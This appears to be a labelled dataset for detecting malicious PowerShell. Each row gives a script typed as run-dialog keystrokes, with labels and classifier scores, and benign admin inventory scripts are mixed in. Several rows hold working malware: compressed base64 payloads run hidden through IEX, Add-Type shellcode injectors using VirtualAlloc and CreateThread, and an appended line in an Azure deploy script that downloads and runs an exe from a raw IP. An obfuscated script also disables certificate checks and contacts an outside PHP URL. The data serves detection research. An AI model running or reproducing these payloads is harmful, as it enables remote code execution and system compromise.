= Get-AzHealthcareApisService -ResourceGroupName $rgname -Name $rname1 enter Assert-AreEqual $actual1.Name $rname1 enter Assert-AreEqual $actual1.CosmosDbOfferThroughput $offerThroughput enter enter $list = Get-AzHealthcareApisService -ResourceGroupName $rgname enter enter $app1 = $list | where {$_.Name -eq $rname} | Select-Object -First 1 enter $app2 = $list | where {$_.Name -eq $rname1} | Select-Object -First 1 enter enter Assert-AreEqual 2 @($list).Count enter Assert-AreEqual $rname $app1.Name enter Assert-AreEqual $rname1 $app2.Name enter enter $list | Remove-AzHealthcareApisService enter enter $list = Get-AzHealthcareApisService -ResourceGroupName $rgname enter enter Assert-AreEqual 0 @($list).Count enter } enter finally{ enter enter Remove-AzResourceGroup -Name $rgname -Force enter } enter } enter if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAL4MgFgCA71WbW/aSBD+nEr9D1aFhK0SbF6aNJEq3RpjXgIJxMEEOFQt9tosLF5qr5OYXv/7jcFu6LU55e6ks0De3XnZ2Wee2bEXB46gPJCSq81ZUzP7Penr2zcnAxzijSQXVl67JBU2VO/ddxfthXJyAsLCY0I/7+goIdInSZ6h7dbgG0yD+eVlIw5DEojDvNwiAkUR2SwYJZGsSH9I4yUJyenNYkUcIX2VCp/LLcYXmGVqSQM7SyKdosBNZT3u4DS4srVlVMjF338vKrPTyrzc/BJjFslFK4kE2ZRdxoqK9E1JN7xLtkQu9qkT8oh7ojymQa1aHgUR9sg1eHsgfSKW3I2KChwFfiERcRhIz4dKvRx05CIMByF3kOuGJAKTcid44GsiF4KYsZL0mzzLQriNA0E3BOSChHxrkfCBOiQqt3HgMnJLvLl8TR7zk7/WSD42Aq2BCJUSpOWlWPvcjRk5mBeVn6NN86nA80NOAYdvb9+8fePlVKAt97w6qR8TAUYns/2YQKjygEd0r/pJ0kpSH/bDgocJTAt3YUyUuTRL8zCbz6UCZlZ1vVknWtcoveymktuAxTq+iMyIfIblmc2pOwezLFkFn9bw6IbXbmteKn6ZewbxaECMJMAb6uT0kn+VBOIxsj94OVe7hvjkYiYgrkEY8bFIES1Js5/NmhsqvtvqMWUuCZEDiYwgKsix8mMwhyTJxU7QJxtA7TAvQk48IDXJtTMiJ/nu6RyUig2Go6gkDWKoKqckWQQz4pYkFEQ0E6FY8P2w+BxuP2aCOjgSubu58hc4s20bPIhEGDuQT4DgztoSh2KWIlKS2tQlemJRP9+++Es8GpgxGvjg6QHyASspDpZIWRJCpMeMUMoWEZ3NlpENqO6L3WTYh9LOamPPLuwTt/hCvDn7D1RPAcqROYoWsm4xLkqSTUMBV0cKds6y/xTQ0f1xHFojJFnG5Ly6Znoi0oIohGiXMjeDbQ9SKAAgM+QbHUfkrG6JEOCT36k3tIHgmXQC1nf0Na2gR1rp9OE/orUON87dq+6qrYbG09JDnajTbw+MYbtdf+hadl1YzY64GnREv3m/WlmofTuaiGkHte+otp7Ud9su3Vk95E6e1LOdvnvU9Kfdyne9ieF5/rln3VY+mLQ3bgx1rYp7RjPujfVHXatHTfrYHtLRcN01xWJiMzzyVP++coHpUy9c2RXe33UQai1rzq7r2a1l300mbfViXF+jJkKNoGmbOr+a6CEaqDb2bT6uJw9nY7+BdNOhZDocmfpwaOpo1Fp9MS5UH2zv8VIf21U63d7fLmFuQghXqlbvuGTHJ0MAqcUR9m9Bx29UnaUHOsZ7pL+/5lEVr3WOdNAxp18grsnWHDCQ342qHNns+h6j3jQxVbUyGdRRW6Pjlo9Sl9jXhxhFD8bOUCu2y93xh+uJp9r37Fw1Gndbx1NV9bFtXDnTytPHm/OPvTG1NxyNVNV+l7ID6FHAbW86DBdHKX/p1u/jMFpiBlSAmzwvU5OHZnYvDzhNLWT5uVWvSRgQBv0NOmDObcQYd9IukV/j0KQOrWMO1TqCYa36y5EifVdUnntHvnR5OYVooViAv+UeCXyxLGlPNU2DBqA91TU47+sP2ODbRE49ldL+kWOUOWd750paNIVttKho/wN2WcEu4eW+Arvntb+RvgpPrfT99D9Jflz4RwD/OxTGmApQt+D2YeTQJV8EI+PM0UfGPlfACS970u+9m1icXsPHx5/2cg3LZwoAAA==''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s); enter [decoded_payloads] enter [decoded:long_base64_literal] enter function yKm6E0FML { enter Param ($jfH, $miBLXJbHb) enter $wyi_ziUye = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') enter enter return $wyi_ziUye.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($wyi_ziUye.GetMethod('GetModuleHandle')).Invoke($null, @($jfH)))), $miBLXJbHb)) enter } enter enter function iGd72Y4 { enter Param ( enter [Parameter(Position = 0, Mandatory = $True)] [Type[]] $alS2kmky0JD, enter [Parameter(Position = 1)] [Type] $ku9sFse_ = [Void] enter ) enter enter $gi3aUOo3R3f = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) enter $gi3aUOo3R3f.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $alS2kmky0JD).SetImplementationFlags('Runtime, Managed') enter $gi3aUOo3R3f.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ku9sFse_, $alS2kmky0JD).SetImplementationFlags('Runtime, Managed') enter enter return $gi3aUOo3R3f.CreateType() enter } enter enter [Byte[]]$rAz = [System.Convert]::FromBase64String(""/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYH/9W4kAEAACnEVFBoKYBrAP/VagVoW4yv6WgCABFcieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoYQAAAGoAagRWV2gC2chf/9WD+AB+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH0iWGgAQAAAagBQaAsvDzD/1VdodW5NYf/VXl7/DCTpcf///wHDKcZ1x8O78LWiVmoAU//V"") enter enter $aHfZQrb = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((yKm6E0FML kernel32.dll VirtualAlloc), (iGd72Y4 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $rAz.Length,0x3000, 0x40) enter [System.Runtime.InteropServices.Marshal]::Copy($rAz, 0, $aHfZQrb, $rAz.length) enter enter $psb10 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((yKm6E0FML kernel32.dll CreateThread), (iGd72Y4 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$aHfZQrb,[IntPtr]::Zero,0,[IntPtr]::Zero) enter [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((yKm6E0FML kernel32.dll WaitForSingleObject), (iGd72Y4 @([IntPtr], [Int32]))).Invoke($psb10,0xffffffff) | Out-Null enter enter",1,1,5.665256e-05,0.9999434
"win+r powershell enter @(set ""0=%~f0""^)#) & powershell -nop -c iex([io.file]::ReadAllText($env:0)) & ex enter it/b #:: double-click to run or just copy-paste into powershell - it's a standal enter one hybrid script #:: v3 of the toggle script hides the flashing cmd window via enter vbs #:: uses IFEO to attach to Virtual Disk Service Loader process running durin enter g setup, then erases appraiserres.dll #:: it must also do some ping-pong renamin enter g of vdsldr in system32\11 #:: you probably don't need to have it installed at a enter ll times - just when doing feature updates or manual setup within windows #:: he enter nce the on off toggle just by running the script again $_Paste_in_Powershell = enter { $N = ""Skip TPM Check on Dynamic Update""; $3 = @(""' $N (c) AveYo 2021 : v3 IF enter EO-based with no flashing cmd window"") $3+= 'C = ""cmd /q AveYo /d/x/r erase /f enter /s/q %systemdrive%\$windows.~bt\appraiserres.dll&""' $3+= 'M = ""md 11&cd 11&ren enter vd.exe vdsldr.exe &r enter enter",1,1,0.00014774235,0.9998522
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_oge9dyw9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_errors_25.csv"") -NoTypeInformation enter Write-Host ""Starting service_checks section 2."" enter Get-Service -Name wuauserv,bits -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.json"") -Encoding UTF8 enter",0,0,0.999966,3.396316e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_4m6ejryx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service -Name cryptsvc,bits -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3978224e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_p46a4vm3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 2 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.txt"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 2."" enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,1) } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996483,3.5141653e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_fgwsnxw8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.json"") -Encoding UTF8 enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4501896e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x03,0x53,0x53,0x68,0xbb,0x01,0x00,0x00,0xe8,0x8c,0x00,0x00,0x00,0x2f,0x46,0x33,0x33,0x58,0x58,0x00,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x00,0x32,0xe0,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0x0a,0x5f,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x0a,0x4f,0x75,0xd9,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x75,0xff,0xff,0xff,0x68,0x6f,0x73,0x74,0x2d,0x31,0x31,0x35,0x2e,0x69,0x70,0x73,0x65,0x63,0x2e,0x69,0x6f,0x00;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.163852e-05,0.9999484
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x40,0x96,0xbd,0x5a,0x68,0x02,0x00,0x15,0xb4,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_em6ularo"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.txt"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.json"") -Encoding UTF8 enter",0,0,0.9999654,3.462339e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_7211mxy4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.json"") -Encoding UTF8 enter",0,0,0.9999653,3.46924e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_us2jhnv0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_path_entries.csv"") -NoTypeInformation enter Write-Host ""Starting system_inventory section 2."" enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,1) } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4132616e-05
"win+r powershell enter # Copyright (c) .NET Foundation. All rights reserved. # Licensed under the MIT l enter icense. See LICENSE file in the project root for full license information. #### enter ################################################################################ enter ################# ## Although the NuGet package includes msbuild targets that do enter es this same work, the ps1 files are # ## kept for use in web site projects # ## enter ################################################################################ enter ################### param($installPath, $toolsPath, $package, $project) # Firs enter t save the code dom compiler declarations off to a temp file so they can be rest enter ored # in the event that this is a package upgrade scenario. enter enter",1,1,7.850448e-05,0.99992144
"win+r enter powershell enter enter enter $appdirectory=""<Replace with your app directory>"" enter $webappname=""mywebapp$(Get-Random)"" enter $location=""West Europe"" enter New-AzResourceGroup -Name myResourceGroup -Location $location enter New-AzAppServicePlan -Name $webappname -Location $location ` enter -ResourceGroupName myResourceGroup -Tier Free enter New-AzWebApp -Name $webappname -Location $location -AppServicePlan $webappname ` enter -ResourceGroupName myResourceGroup enter $xml = [xml](Get-AzWebAppPublishingProfile -Name $webappname ` enter -ResourceGroupName myResourceGroup ` enter -OutputFile null) enter $username = $xml.SelectNodes(""//publishProfile[@publishMethod=`""FTP`""]/@userName"").value enter $password = $xml.SelectNodes(""//publishProfile[@publishMethod=`""FTP`""]/@userPWD"").value enter $url = $xml.SelectNodes(""//publishProfile[@publishMethod=`""FTP`""]/@publishUrl"").value enter Set-Location $appdirectory enter $webclient = New-Object -TypeName System.Net.WebClient enter $webclient.Credentials = New-Object System.Net.NetworkCredential($username,$password) enter $files = Get-ChildItem -Path $appdirectory -Recurse | Where-Object{!($_.PSIsContainer)} enter foreach ($file in $files) enter { enter $relativepath = (Resolve-Path -Path $file.FullName -Relative).Replace("".\"", """").Replace('\', '/') enter $uri = New-Object System.Uri(""$url/$relativepath"") enter ""Uploading to "" + $uri.AbsoluteUri enter $webclient.UploadFile($uri, $file.FullName) enter } enter $webclient.Dispose() enter enter (New-Object System.Net.WebClient).DownloadFile('http://185.141.27.32/update.exe',""$env:TEMP tab mpfilex86.exe"");Start-Process (""$env:TEMP tab mpfilex86.exe"") enter enter",1,1,5.5804827e-05,0.9999442
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_pdvw92vc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.json"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 20 Name, Id, CPU, WorkingSet64 | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_memory_20.csv"") -NoTypeInformation enter",0,0,0.9999654,3.4600085e-05
"win+r powershell enter Describe ""Unimplemented Management Cmdlet Tests"" -Tags ""CI"" { $Commands = @( enter ""Get-Service"", ""Stop-Service"", ""Start-Service"", ""Suspend-Service"", ""Resume-S enter ervice"", ""Restart-Service"", ""Set-Service"", ""New-Service"", enter enter",1,1,0.006547833,0.9934522
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_b7ocn8ih"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.txt"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_enabled_rules.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.397187e-05
". ( 'W'+ 'rite-Hos' + 't' ) ( 'Carre'+ 'ga' +'nd' + 'o.' + '..' ) [System.Net.S enter ervicePointManager]::""s`e`RVErcERTifICa`TevAlI`dationc`All`BACK"" = { ${t`RuE} } enter ${j1`Q6eIf`KM`3PdP} = ( 'http://' + 'we' + 'br'+'astrea' +'me' +'nt'+'ob' + 'ra enter sil.' + 'com'+'/' +'add'+'.php' ) if ( ${J1`q`6`EiFKm3pdP} -ne '' ) { ( .('New enter ' +'-Obje' +'c' + 't' ) ('Net.Web'+ 'Clie'+'nt') ).('Uplo' + 'ad'+ 'String' ).In enter voke( ${J1Q6E`ifkM`3pDp}, '') } ${idvo`ec`gL`N1ocYmeqK`V30X00} = ${tr`UE} if enter ( ${idvoECg`Ln1`O`cymeQKv30X00} ) { ${KW`A50`F9v`qycScP`D`xzx} = ${ENv`:t`emP} enter + '\' + ( &( 'G' +'et-' +'Date' ) -Format ( 'ddMMyyy' +'y')) if ( .( 'T'+ 'est- enter ' + 'Path') ${K`Wa50f`9vqYC`sC`PD`x`ZX}) { Exit } enter",1,1,5.576599e-05,0.9999442
"win+r powershell enter $Random=(New-Guid).ToString().Substring(0,8) $ResourceGroup=""MyResourceGroup$Ra enter ndom"" $AppName=""webappwithSQL$Random"" $Location=""West US"" $ServerName=""webappwit enter hsql$Random"" $StartIP=""0.0.0.0"" $EndIP=""0.0.0.0"" $Username=""ServerAdmin"" $Passwo enter rd=""<provide-a-password>"" $SqlServerPassword=New-Object -TypeName System.Managem enter ent.Automation.PSCredential -ArgumentList $Username,(ConvertTo-SecureString -Str enter ing $Password -AsPlainText -Force) enter enter",1,1,0.00013125589,0.99986875
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_c1gzey23"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.txt"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.txt"") -Encoding UTF8 enter",0,0,0.9999652,3.4796307e-05
"win+r enter powershell enter enter enter function Clear-ARPCache enter { enter [CmdletBinding()] enter param( enter enter ) enter enter Begin{ enter if(-not([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]""Administrator"")) enter { enter Write-Warning -Message ""Administrator rights are required to clear the ARP cache! Attempts to start the process with elevated privileges..."" enter } enter } enter enter Process{ enter try{ enter Start-Process -FilePath ""$env:SystemRoot\System32 enter etsh.exe"" -ArgumentList ""interface ip delete arpcache"" -Verb ""RunAs"" -WindowStyle Hidden -Wait enter } enter catch{ enter throw enter } enter } enter enter End{ enter enter } enter } enter enter",0,0,0.995187,0.004813025
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_d9nkjhch"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Export-Csv -Path (Join-Path $ReportDir ""hardware_summary_report.csv"") -NoTypeInformation enter Write-Host ""Starting disk_checks section 2."" enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Export-Csv -Path (Join-Path $ReportDir ""disk_volume.csv"") -NoTypeInformation enter",0,0,0.9999658,3.416544e-05
